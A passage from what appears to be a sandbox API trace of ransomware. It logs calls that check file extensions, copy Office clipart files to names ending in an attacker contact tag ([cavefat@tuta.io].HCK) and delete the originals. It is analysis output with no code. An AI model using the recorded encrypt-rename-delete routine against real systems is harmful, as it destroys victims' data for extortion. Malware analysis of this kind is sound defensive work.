lpString2=".WMF") returned -1 [0158.625] lstrlenW (lpString=".bz2") returned 4 [0158.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.625] lstrlenW (lpString=".7z") returned 3 [0158.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0158.625] lstrlenW (lpString=".dbf") returned 4 [0158.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0158.625] lstrlenW (lpString=".1cd") returned 4 [0158.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0158.625] lstrlenW (lpString=".jpg") returned 4 [0158.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.625] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.625] lstrlenW (lpString="FD00086_.WMF") returned 12 [0158.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.626] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=29212) returned 1 [0158.626] CloseHandle (hObject=0x2ec) returned 1 [0158.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x220 [0158.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.626] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.626] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0158.626] GetLastError () returned 0x0 [0158.626] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x721c, lpOverlapped=0x0) returned 1 [0159.074] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7220, lpOverlapped=0x0) returned 1 [0159.075] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.075] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.075] SetEndOfFile (hFile=0x38c) returned 1 [0159.075] CloseHandle (hObject=0x38c) returned 1 [0159.077] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.077] SetEndOfFile (hFile=0x2ec) returned 1 [0159.077] CloseHandle (hObject=0x2ec) returned 1 [0159.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 1 [0159.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0159.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0159.078] lstrlenW (lpString=".doc") returned 4 [0159.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.078] lstrlenW (lpString=".docx") returned 5 [0159.078] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.078] lstrlenW (lpString=".pdf") returned 4 [0159.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.078] lstrlenW (lpString=".xls") returned 4 [0159.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.078] lstrlenW (lpString=".xlsx") returned 5 [0159.078] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.078] lstrlenW (lpString=".ppt") returned 4 [0159.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0159.078] lstrlenW (lpString=".zip") returned 4 [0159.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.078] lstrlenW (lpString=".rar") returned 4 [0159.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.078] lstrlenW (lpString=".bz2") returned 4 [0159.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.078] lstrlenW (lpString=".7z") returned 3 [0159.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0159.079] lstrlenW (lpString=".dbf") returned 4 [0159.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0159.079] lstrlenW (lpString=".1cd") returned 4 [0159.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0159.079] lstrlenW (lpString=".jpg") returned 4 [0159.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0159.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0159.079] lstrlenW (lpString=".doc") returned 4 [0159.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.079] lstrlenW (lpString=".docx") returned 5 [0159.079] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.079] lstrlenW (lpString=".pdf") returned 4 [0159.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.079] lstrlenW (lpString=".xls") returned 4 [0159.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.079] lstrlenW (lpString=".xlsx") returned 5 [0159.079] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.079] lstrlenW (lpString=".ppt") returned 4 [0159.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0159.079] lstrlenW (lpString=".zip") returned 4 [0159.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.079] lstrlenW (lpString=".rar") returned 4 [0159.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.079] lstrlenW (lpString=".bz2") returned 4 [0159.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.079] lstrlenW (lpString=".7z") returned 3 [0159.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0159.079] lstrlenW (lpString=".dbf") returned 4 [0159.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0159.079] lstrlenW (lpString=".1cd") returned 4 [0159.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0159.079] lstrlenW (lpString=".jpg") returned 4 [0159.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.080] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.080] lstrlenW (lpString="FD00586_.WMF") returned 12 [0159.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0159.080] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=752) returned 1 [0159.080] CloseHandle (hObject=0x2ec) returned 1 [0159.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x220 [0159.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0159.081] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.081] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0159.081] GetLastError () returned 0x0 [0159.081] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2f0, lpOverlapped=0x0) returned 1 [0159.082] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x300, lpOverlapped=0x0) returned 1 [0159.083] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.083] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.083] SetEndOfFile (hFile=0x38c) returned 1 [0159.083] CloseHandle (hObject=0x38c) returned 1 [0159.084] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.084] SetEndOfFile (hFile=0x2ec) returned 1 [0159.085] CloseHandle (hObject=0x2ec) returned 1 [0159.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 1 [0159.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0159.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0159.086] lstrlenW (lpString=".doc") returned 4 [0159.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.086] lstrlenW (lpString=".docx") returned 5 [0159.086] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.086] lstrlenW (lpString=".pdf") returned 4 [0159.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.086] lstrlenW (lpString=".xls") returned 4 [0159.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.086] lstrlenW (lpString=".xlsx") returned 5 [0159.086] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.086] lstrlenW (lpString=".ppt") returned 4 [0159.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0159.086] lstrlenW (lpString=".zip") returned 4 [0159.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.086] lstrlenW (lpString=".rar") returned 4 [0159.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.086] lstrlenW (lpString=".bz2") returned 4 [0159.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.086] lstrlenW (lpString=".7z") returned 3 [0159.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0159.086] lstrlenW (lpString=".dbf") returned 4 [0159.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0159.086] lstrlenW (lpString=".1cd") returned 4 [0159.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0159.086] lstrlenW (lpString=".jpg") returned 4 [0159.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0159.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0159.086] lstrlenW (lpString=".doc") returned 4 [0159.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.086] lstrlenW (lpString=".docx") returned 5 [0159.086] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.086] lstrlenW (lpString=".pdf") returned 4 [0159.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.086] lstrlenW (lpString=".xls") returned 4 [0159.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.086] lstrlenW (lpString=".xlsx") returned 5 [0159.086] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.086] lstrlenW (lpString=".ppt") returned 4 [0159.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0159.086] lstrlenW (lpString=".zip") returned 4 [0159.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.086] lstrlenW (lpString=".rar") returned 4 [0159.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.087] lstrlenW (lpString=".bz2") returned 4 [0159.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.087] lstrlenW (lpString=".7z") returned 3 [0159.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0159.087] lstrlenW (lpString=".dbf") returned 4 [0159.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0159.087] lstrlenW (lpString=".1cd") returned 4 [0159.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0159.087] lstrlenW (lpString=".jpg") returned 4 [0159.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.087] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.087] lstrlenW (lpString="FD00775_.WMF") returned 12 [0159.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0159.087] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=11152) returned 1 [0159.087] CloseHandle (hObject=0x2ec) returned 1 [0159.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x220 [0159.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0159.088] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.088] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0159.088] GetLastError () returned 0x0 [0159.088] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2b90, lpOverlapped=0x0) returned 1 [0159.089] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0159.090] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.090] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.090] SetEndOfFile (hFile=0x38c) returned 1 [0159.091] CloseHandle (hObject=0x38c) returned 1 [0159.092] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.092] SetEndOfFile (hFile=0x2ec) returned 1 [0159.092] CloseHandle (hObject=0x2ec) returned 1 [0159.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.093] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 1 [0159.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0159.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0159.093] lstrlenW (lpString=".doc") returned 4 [0159.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.093] lstrlenW (lpString=".docx") returned 5 [0159.093] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.093] lstrlenW (lpString=".pdf") returned 4 [0159.093] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.093] lstrlenW (lpString=".xls") returned 4 [0159.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.093] lstrlenW (lpString=".xlsx") returned 5 [0159.093] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.093] lstrlenW (lpString=".ppt") returned 4 [0159.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0159.093] lstrlenW (lpString=".zip") returned 4 [0159.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.093] lstrlenW (lpString=".rar") returned 4 [0159.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.093] lstrlenW (lpString=".bz2") returned 4 [0159.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.093] lstrlenW (lpString=".7z") returned 3 [0159.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0159.093] lstrlenW (lpString=".dbf") returned 4 [0159.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0159.093] lstrlenW (lpString=".1cd") returned 4 [0159.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0159.093] lstrlenW (lpString=".jpg") returned 4 [0159.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0159.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0159.094] lstrlenW (lpString=".doc") returned 4 [0159.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.094] lstrlenW (lpString=".docx") returned 5 [0159.094] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.094] lstrlenW (lpString=".pdf") returned 4 [0159.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.094] lstrlenW (lpString=".xls") returned 4 [0159.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.094] lstrlenW (lpString=".xlsx") returned 5 [0159.094] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.094] lstrlenW (lpString=".ppt") returned 4 [0159.094] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0159.094] lstrlenW (lpString=".zip") returned 4 [0159.094] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.094] lstrlenW (lpString=".rar") returned 4 [0159.094] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.094] lstrlenW (lpString=".bz2") returned 4 [0159.094] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.094] lstrlenW (lpString=".7z") returned 3 [0159.094] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 